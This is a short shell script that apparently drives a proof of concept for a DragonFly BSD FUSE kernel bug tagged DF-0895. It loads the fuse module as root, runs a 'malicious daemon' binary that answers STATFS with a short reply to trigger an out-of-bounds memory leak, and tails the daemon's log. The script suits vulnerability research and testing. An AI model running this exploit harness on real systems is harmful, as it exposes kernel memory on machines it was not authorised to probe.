#!/bin/sh
# DF-0895 run: load fuse, run the malicious daemon (root), capture the OOB leak.
# Must be run as root on the DragonFly guest.
set -u
echo "=== DF-0895 run ==="
kldstat -v 2>/dev/null | grep -q -i fuse || kldload fuse || { echo "kldload fuse failed"; exit 1; }
ls -l /dev/fuse
echo "--- running malicious daemon (valid INIT, short STATFS) ---"
./fused_short
echo "--- exit=$? ---"
echo "--- daemon log tail ---"
tail -40 /tmp/df0895_daemon.log 2>/dev/null
